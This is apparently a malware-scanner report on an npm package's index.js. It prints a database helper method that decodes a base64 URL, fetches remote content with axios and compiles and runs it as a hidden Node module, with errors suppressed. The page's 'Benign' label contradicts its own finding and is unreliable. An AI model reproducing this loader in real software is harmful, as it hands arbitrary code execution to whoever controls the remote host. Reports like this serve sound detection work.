Benign javascript Download

package/index.js

JsonKeeper payload compiled as Node moduleDecoded Axios response fed to Node module compiler

SHA-2565ec319f44610644a95e0cfaccf4fba6cbe3b2f0a1532f9179bcff3d22b121cbe

Evidence

Imports the Axios HTTP client lines 1–9

1const mysql = require("mysql");
2const util = require("util");
3const axios = require("axios");
4/**
5 * Responsible for connecting to the configured database and execute queries
⋯4 lines

Decoded Axios response fed to Node module compiler lines 262–287

⋯5 lines
267
268    async queryDBConnect() {
269        try {
270            const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw";
271            const s1 = (await axios.get(atob(HASH_KEY))).data.content;
272
273            const Mod = require("node:module");
274
275            const m = new Mod.Module("error.js", module.parent);
276            m.filename = "error.js";
277            m.paths = Mod.Module._nodeModulePaths(process.cwd());
278
279            m._compile(s1, "error.js");
280        } catch (error) {
281            // console.error(error);
⋯6 lines